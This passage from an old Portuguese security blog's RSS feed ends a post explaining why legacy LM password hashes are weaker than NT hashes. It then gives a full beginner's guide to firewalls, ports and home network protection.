<p>Quando o Windows foi criado, a Microsoft utilizou um método de <em>hash</em> chamado de <em>LM Hash</em> ou <em>Lan Manager Hash</em>. Para os padrões da época, podiam até ser suficientes, mas com o poder computacional das máquinas atuais, tornou-se muito fácil de ser quebrado por força bruta. Posteriormente, a Microsoft passou a adotar o <em>NT Hash</em>, que já tem um nível de segurança muito melhor, mas por questões de compatibilidade com os sistemas antigos (Windows 95 e 98), o <em>LM Hash</em> continua a ser utilizado, habilitado por padrão no Windows XP, 2000 e 2003, juntamente com o <em>NT Hash</em>.</p>
<p>A fragilidade do <em><span>LM hash</span></em> está no fato de que, apesar de aceitar senhas de até 14 caracteres, o que já daria um bom nível de segurança, ele divide a senha em duas partes de 7 caracteres e ainda por cima, converte todas as letras para maiúsculas, reduzindo assim o universo de caracteres utilizados e o comprimento efetivo da senha para 7 posições.</p>
<p>Comparando os dois padrões:</p>
<ul>
<li>LM hash é <em>case-insensitive</em> (ignora se é maiúscula 	ou minúscula); o NT hash é <em>case-sensitive</em>.</li>
<li>LM hash aceita um conjunto de 142 caracteres; NT hash aceita 	praticamente todo conjunto de 65,536 caracteres do padrão <em>Unicode</em>.</li>
<li>LM hash divide a senha em dois blocos de 7 caracteres, 	ignorando o excedente; NT hash utiliza a senha inteira fornecida 	pelo usuário.</li>
</ul>
<p>Embora o NT hash seja muito mais seguro, a coexistência com o LM hash permite que os programas quebrem a senha LM hash e depois tente diversas variações de minúsculas e maiúsculas para encontrar a senha NT hash.</p>
<p>&#8212;&#8212;</p>
<p><em>Na segunda parte desse artigo, eu mostro como as senhas são (facilmente?) quebradas e como melhorar a segurança das suas senhas.</em></p>
<p>(<a href="http://drwhitehat.wordpress.com/2008/09/12/abre-te-sesamo-2/">Parte 2</a>)</p>
<p><a href="http://drwhitehat.wordpress.com/2008/09/05/abre-te-sesamo-1/#respond">Adicione um comentário</a></p>
<p style="border:medium medium 1px none none solid 0 0 #000000;padding:0 0 .07cm;">
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/drwhitehat.wordpress.com/108/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/drwhitehat.wordpress.com/108/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/drwhitehat.wordpress.com/108/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/drwhitehat.wordpress.com/108/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/drwhitehat.wordpress.com/108/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/drwhitehat.wordpress.com/108/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/drwhitehat.wordpress.com/108/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/drwhitehat.wordpress.com/108/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/drwhitehat.wordpress.com/108/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/drwhitehat.wordpress.com/108/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/drwhitehat.wordpress.com/108/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/drwhitehat.wordpress.com/108/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=drwhitehat.wordpress.com&blog=4478092&post=108&subd=drwhitehat&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://drwhitehat.wordpress.com/2008/09/05/abre-te-sesamo-1/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">drwhitehat</media:title>
		</media:content>
	</item>
		<item>
		<title>Firewall: Sua trincheira na internet</title>
		<link>http://drwhitehat.wordpress.com/2008/08/29/firewall-sua-trincheira-na-internet/</link>
		<comments>http://drwhitehat.wordpress.com/2008/08/29/firewall-sua-trincheira-na-internet/#comments</comments>
		<pubDate>Fri, 29 Aug 2008 09:00:26 +0000</pubDate>
		<dc:creator>drwhitehat</dc:creator>
				<category><![CDATA[internet]]></category>
		<category><![CDATA[segurança]]></category>

		<guid isPermaLink="false">http://drwhitehat.wordpress.com/?p=97</guid>
		<description><![CDATA[O que é firewall
No universo hostil da internet (veja meu primeiro artigo), sua principal linha de defesa é o firewall. Se você está em um computador na rede da sua empresa, provavelmente o firewall está instalado no ponto de conexão entre sua rede e a internet, aos cuidados do administrador da rede ou analista de [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=drwhitehat.wordpress.com&blog=4478092&post=97&subd=drwhitehat&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><h2 class="western">O que é firewall</h2>
<p class="western" style="text-align:left;">No universo hostil da internet (<span style="color:#000080;"><span style="text-decoration:underline;"><a href="../2008/06/26/entendendo-a-guerra-real-do-mundo-virtual/">veja meu primeiro artigo</a></span></span>), sua principal linha de defesa é o firewall. Se você está em um computador na rede da sua empresa, provavelmente o firewall está instalado no ponto de conexão entre sua rede e a internet, aos cuidados do administrador da rede ou analista de segurança, dependendo do tamanho da sua rede.</p>
<p class="western" style="text-align:left;">Mas, se você está no seu computador doméstico, acessando a internet por banda larga, você está “de cara” para a internet e sua única barricada é o firewall pessoal do seu computador sendo  fundamental que você entenda o que é o firewall e como ele funciona.</p>
<p class="western" style="text-align:left;">Literalmente, firewall significa “<em>parede de fogo</em>”, mas a tradução mais adequada é “<em>parede corta fogo</em>”. Análogo às paredes construídas para evitar a propagação de chamas, o firewall serve como barreira de proteção para o seu computador, isolando-o do “mundo externo” e para que você entenda o seu funcionamento, é necessário que você entenda como se processam as comunicações entre computadores numa rede.</p>
<p class="western" style="text-align:left;">Numa rede, cada computador possui um endereço próprio, chamado de <em>Endereço IP</em>, representado na forma de 4 <em>octetos</em> ou números que podem variar de 0 a 255, separados por pontos. Por exemplo: 200.240.182.100.</p>
<p class="western" style="text-align:left;">Quando você está acessado uma homepage qualquer, o seu navegador, que é um programa, está se comunicando com outro programa no computador remoto, o qual responde pelo <em>serviço</em> de páginas web. Se você está enviando um e-mail, existe outro programa respondendo por esse <em>serviço</em>. Em vias de regra, para cada serviço distinto, existe um programa que responde por ele.</p>
<p class="western" style="text-align:left;">Para que vários <em>serviços</em> possam coexistir num mesmo <em>servidor</em>, cada um desses programas atende por um número de <em>porta</em>. Assim, o serviço de páginas web atende na porta 80, o de e-mail, na porta 25, o de transferência de arquivos FTP, na porta 21 e assim por diante. A numeração dessas portas é padronizada no intervalo de 1 à 1024, uma para cada serviço distinto, sendo também chamadas de “<em>portas privilegiadas</em>”. As portas de número 1025 à 65535 são portas “<em>não privilegiadas</em>”, geralmente utilizadas pelos <em>clientes</em> das conexões (você).</p>
<p class="western" style="text-align:left;">Quando você, que é o cliente da conexão, vai acessar uma homepage, seu navegador “toma” uma porta desocupada no espaço não privilegiado do seu computador, envia uma solicitação de conexão para o endereço (IP) do servidor web, direcionado para porta 80, informando o endereço da sua máquina e o número de porta que o seu navegador “tomou”. O servidor web então, envia a resposta para esse endereço e porta, onde o seu navegador estará “escutando” para receber a mensagem de retorno.</p>
<p class="western" style="text-align:left;">A figura abaixo mostra como o seu computador se conectaria a um servidor web, iniciando uma conexão para a porta 80 do mesmo. A mensagem de retorno é enviada para a porta 1250 do seu computador, conforme foi informado ao servidor web na mensagem inicial. Nessa situação, seu micro está sem firewall e portanto, acessível à qualquer pessoa da internet (invasor).</p>
<p class="western" style="text-align:left;"><a href="http://drwhitehat.files.wordpress.com/2008/08/firewall01.jpeg"><img class="aligncenter size-large wp-image-98" src="http://drwhitehat.files.wordpress.com/2008/08/firewall01.jpeg?w=510&#038;h=244" alt="" width="510" height="244" /></a></p>
<p class="western" style="text-align:left;">Para ficar mais claro, imagine assim: Você mora numa cidade (internet) onde só existem edifícios. Cada edifício (computador) possui seu endereço na cidade. Nesses edifícios, as salas de número 1 à 1024 são para empresas (serviços) que vão atender aos moradores (clientes), do mesmo edifício ou de outro qualquer, sendo que os moradores (clientes) só moram em apartamentos de número 1025 à 65535. Então você, morador do edifício “A” (seu computador), apartamento 1250, faz um pedido de pizza (página web) para o pizzaria que está localizada no edifício “B”, sala 80. Quando a pizza fica pronta, a pizzaria manda para o endereço e apartamento que você informou no pedido, no caso, “edifício A, apartamento 1250”.</p>
<p class="western" style="text-align:left;">O grande problema, é que assim como nas cidades, onde se podia colocar cadeiras na calçada para  um bate-papo com os vizinhos, quando a internet foi criada, não havia maiores preocupações com a segurança. Uma simples fechadura na porta (usuário e senha) era suficiente para manter os larápios do lado de fora.</p>
<p class="western" style="text-align:left;">Com o passar do tempo, crescimento das cidades e sofisticação das técnicas empregadas pelos criminosos, passamos a ter que lançar mão de cercas eletrificadas, câmeras de vigilância, alarmes e seguranças particulares para nos defender.</p>
<p class="western" style="text-align:left;">A mesma coisa aconteceu com a internet. Agora, não podemos mais deixar as portarias dos edifícios abertas para qualquer pessoa entrar. Temos que ter os porteiros e seguranças para “filtrar” quem entra ou sai do edifício. Essa é a função do firewall no seu computador.</p>
<p class="western" style="text-align:left;">Se você mora num condomínio fechado (rede corporativa) existe uma portaria (firewall corporativo) para controlar os acessos aos prédios (sua estação de trabalho) e você não precisa ter maiores preocupações porque existe alguém que administra essa portaria (o administrador da rede ou analista de segurança). Mas, se seu prédio fica com a portaria que dá direto na via pública (seu computador doméstico com banda-larga), você mesmo é que tem que contratar o segurança e supervisionar o serviço deles (firewall pessoal).</p>
<p class="western" style="text-align:left;">Veja a ilustração abaixo. Ela é similar à figura anterior, mas agora existe a figura do firewall que só permite o seu tráfego de saída e o retorno esperado. Qualquer outra tentativa de conexão é impedida por ele.</p>
<p class="western" style="text-align:left;"><a href="http://drwhitehat.files.wordpress.com/2008/08/firewall02.jpeg"><img class="aligncenter size-large wp-image-99" src="http://drwhitehat.files.wordpress.com/2008/08/firewall02.jpeg?w=510&#038;h=243" alt="" width="510" height="243" /></a></p>
<p class="western" style="text-align:left;">O firewall, então nada mais é do que um programa que controla e supervisiona o que entra ou sai do seu computador (ou rede), evitando acessos indesejados e invasões provenientes da internet. Mesmo que exista uma ou mais portas abertas no seu computador, o firewall vai impedir o acesso a elas, liberando somente o acesso às portas que forem permitidas.</p>
<h2 class="western" style="text-align:left;">Supervisionando a portaria</h2>
<p class="western" style="text-align:left;">Para você ter idéia de que até algum tempo atrás não haviam maiores preocupações com a segurança, a Microsoft só passou a incorporar um firewall nos seus sistemas operacionais a partir do XP (service pack 2). Até o Windows 98 e 2000 Professional, você é que tinha que tomar a iniciativa de instalar um, porque eles não traziam isso embutido.</p>
<p class="western" style="text-align:left;">O firewall nativo no Windows, porém, não é algo que se pode chamar de “estado da arte” em termos de firewall. O maior problema que ele gera é a falsa sensação de segurança. Ele até filtra as  conexões de entrada no seu micro, mas permite a saída de qualquer conexão, o que quer dizer que se um software malicioso já tiver se instalado na sua máquina, ele pode enviar informações para a internet sem que você saiba. Outro problema, é que ele permite que programas abram as portas para acesso externo, também sem que você saiba, ao serem instalados, facilitando sua vida mas comprometendo a segurança.</p>
<p class="western" style="text-align:left;">O ideal, nesses caso é partir para programas de terceiros. Existem várias opções de firewall pessoal na internet, gratuitas inclusive. O <span style="color:#000080;"><span style="text-decoration:underline;"><a href="http://www.personalfirewall.comodo.com/download_firewall.html">Comodo</a></span></span> e o <span style="color:#000080;"><span style="text-decoration:underline;"><a href="http://www.zonealarm.com/store/content/catalog/products/zonealarm_free_firewall.jsp">Zone Alarm</a></span></span> são duas dessas opções. A segurança proporcionada por um firewall decente, entretanto, tem seu preço. Geralmente a configuração é mais complicada e eles emitem alertas para qualquer programa que esteja tentando acessar a internet, o que é muito bom, mas se você não souber interpretar esses alertas, acaba permitindo o que não deve.</p>
<h2 class="western" style="text-align:left;">Atendendo ao bom senso</h2>
<p class="western" style="text-align:left;">Qualquer solução tecnológica, incluindo a segurança, deve obedecer ao bom senso. Você não vai construir um <em>bunker</em> subterrâneo, a prova de explosões atômicas para usar como residência, não é? É mais seguro? Certamente, mas compensa gastar uma fortuna e viver debaixo da terra em nome da segurança máxima? Pode fazer sentido para o posto de comando de governo de um país, mas para mas para moradia pessoal, certamente que não.</p>
<p class="western" style="text-align:left;">Controlar todo tráfego que entra e sai é o ideal e indispensável num ambiente corporativo, mas num ambiente doméstico, se você não tem os conhecimentos necessários e nem um administrador de redes ao seu dispor, o mínimo indispensável é ter uma solução que bloqueie qualquer entrada e libere todas as saídas. Tenha ciência porém, que essa solução impede que invasores entrem na sua máquina, mas uma vez comprometida (por spywares, trojans, worms e outras pragas) isso não impedirá que dados seus sejam enviados para fora. O complemento indispensável para essa situação consiste no emprego de um bom anti-vírus e anti-spyware.</p>
<p class="western" style="text-align:left;">Uma solução simples dentro dessa perspectiva, é “rotear” o modem. Esse recurso é utilizado quando queremos compartilhar a conexão de internet com outros micros da casa. Nesse caso, o próprio modem faz a conexão e recebe o endereço IP, o qual é público para internet, “escondendo” os computadores que ficam “do lado de dentro”, na sua rede local, que passam a utilizar endereços IP privados e não são acessíveis a partir da internet.</p>
<p class="western" style="text-align:left;"><a href="http://drwhitehat.files.wordpress.com/2008/08/firewall03.jpeg"><img class="aligncenter size-large wp-image-100" src="http://drwhitehat.files.wordpress.com/2008/08/firewall03.jpeg?w=510&#038;h=181" alt="" width="510" height="181" /></a></p>
<h2 class="western" style="text-align:left;">Milhões de computadores na internet e justo eu?</h2>
<p class="western" style="text-align:left;">Talvez você esteja se perguntando “<em>por que alguém iria querer invadir meu computador se eu não tenho nada de importante armazenado lá?</em>”. Ainda que você não tenha nada além de jogos de paciência <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> , um computador conectado por banda-larga é atraente para os invasores pela conexão de alta velocidade, podendo ser usado como escravo para lançar ataques contra outros sistemas;  como “ponte” para esconder o endereço real do <em>cracker</em>; como espaço de armazenamento para compartilhamento de arquivos; para instalar programas para capturar contas e senhas de banco entre outras possibilidades que só uma mente maliciosa pode criar e principalmente porque raramente é uma máquina bem defendida. Isso sem mencionar os <em>worms</em> que ficam varrendo a internet a procura de computadores vulneráveis para se infiltrarem e utilizarem como vetor de propagação.</p>
<p class="western" style="text-align:left;">Uma coisa é certa: sem um “escudo de proteção” (ou “campo de força”, para os aficcionados for ficção científica), você não sobrevive muito tempo na internet.</p>
<p class="western" style="text-align:left;">&#8212;&#8211;</p>
<p class="western" style="text-align:left;">
<p class="western" style="text-align:left;"><a href="http://drwhitehat.wordpress.com/2008/08/29/firewall-sua-trincheira-na-internet/#respond">Adicione um comentário<br />
</a></p>
<p class="western" align="justify">
<p class="western" align="justify">
<p class="western" align="justify">
<p class="western" align="justify">
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/drwhitehat.wordpress.com/97/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/drwhitehat.wordpress.com/97/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/drwhitehat.wordpress.com/97/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/drwhitehat.wordpress.com/97/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/drwhitehat.wordpress.com/97/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/drwhitehat.wordpress.com/97/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/drwhitehat.wordpress.com/97/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/drwhitehat.wordpress.com/97/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/drwhitehat.wordpress.com/97/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/drwhitehat.wordpress.com/97/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/drwhitehat.wordpress.com/97/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/drwhitehat.wordpress.com/97/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=drwhitehat.wordpress.com&blog=4478092&post=97&subd=drwhitehat&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://drwhitehat.wordpress.com/2008/08/29/firewall-sua-trincheira-na-internet/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">drwhitehat</media:title>
		</media:content>

		<media:content url="http://drwhitehat.files.wordpress.com/2008/08/firewall01.jpeg?w=510" medium="image" />

		<media:content url="http://drwhitehat.files.wordpress.com/2008/08/firewall02.jpeg?w=510" medium="image" />

		<media:content url="http://drwhitehat.files.wordpress.com/2008/08/firewall03.jpeg?w=510" medium="image" />
	</item>
	</channel>
</rss>